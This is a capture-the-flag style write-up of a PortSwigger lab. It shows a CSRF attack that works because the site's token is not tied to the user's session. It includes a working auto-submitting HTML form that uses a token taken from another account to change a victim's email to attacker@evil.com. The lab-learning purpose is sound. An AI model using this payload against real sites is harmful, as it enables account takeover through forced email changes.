CSRF where token is not tied to user session | Dec 15, 2022
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: CSRF where token is not tied to user session! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★★☆☆☆☆☆☆☆☆
Background
This lab’s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren’t integrated into the site’s session handling system.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.
You have two accounts on the application that you can use to help design your attack. The credentials are as follows:
wiener:peter
carlos:montoya
Exploitation
Home page:
Login as user wiener
:
In previous labs, we found that there is a email change functionality is vulnerable to CSRF, and it uses tokens to try to prevent CSRF attacks.
Let’s inspect that form:
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="">
<input required type="hidden" name="csrf" value="z9ku0XSiD7dC99MaTq7GgUQExcKRjCw1">
<button class='button' type='submit'> Update email </button>
</form>
Now, let’s login as user carlos
to see the CSRF token:
Inspect the form again:
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="">
<input required type="hidden" name="csrf" value="02hQ8SHZTM6kWtull9XPktNIi3ixZI6b">
<button class='button' type='submit'> Update email </button>
</form>
Hmm… What if I use user wiener
CSRF token in user carlos
??
It still works!
Armed with above information, we can go to exploit server
:
Then craft a form with user carlos
CSRF token that performs CSRF attack:
<html>
<head>
<title>CSRF-4</title>
</head>
<body>
<form action="https://0a75005103f31b2bc05213ae00f10011.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input required type="hidden" name="csrf" value="02hQ8SHZTM6kWtull9XPktNIi3ixZI6b">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Now, we can verify is it working or not in the View exploit
button:
It works!
To change a user’s email, we can grab a fresh CSRF token: <input required type="hidden" name="csrf" value="7IfuZMECjozwHi0b4FO2UbczV8ACEX26">
Then update the old CSRF token in our exploit:
<html>
<head>
<title>CSRF-4</title>
</head>
<body>
<form action="https://0a75005103f31b2bc05213ae00f10011.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input required type="hidden" name="csrf" value="7IfuZMECjozwHi0b4FO2UbczV8ACEX26">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Finally, click Deliver exploit to victim
button:
We’ve changed the victim’s email address!
What we’ve learned:
- CSRF where token is not tied to user session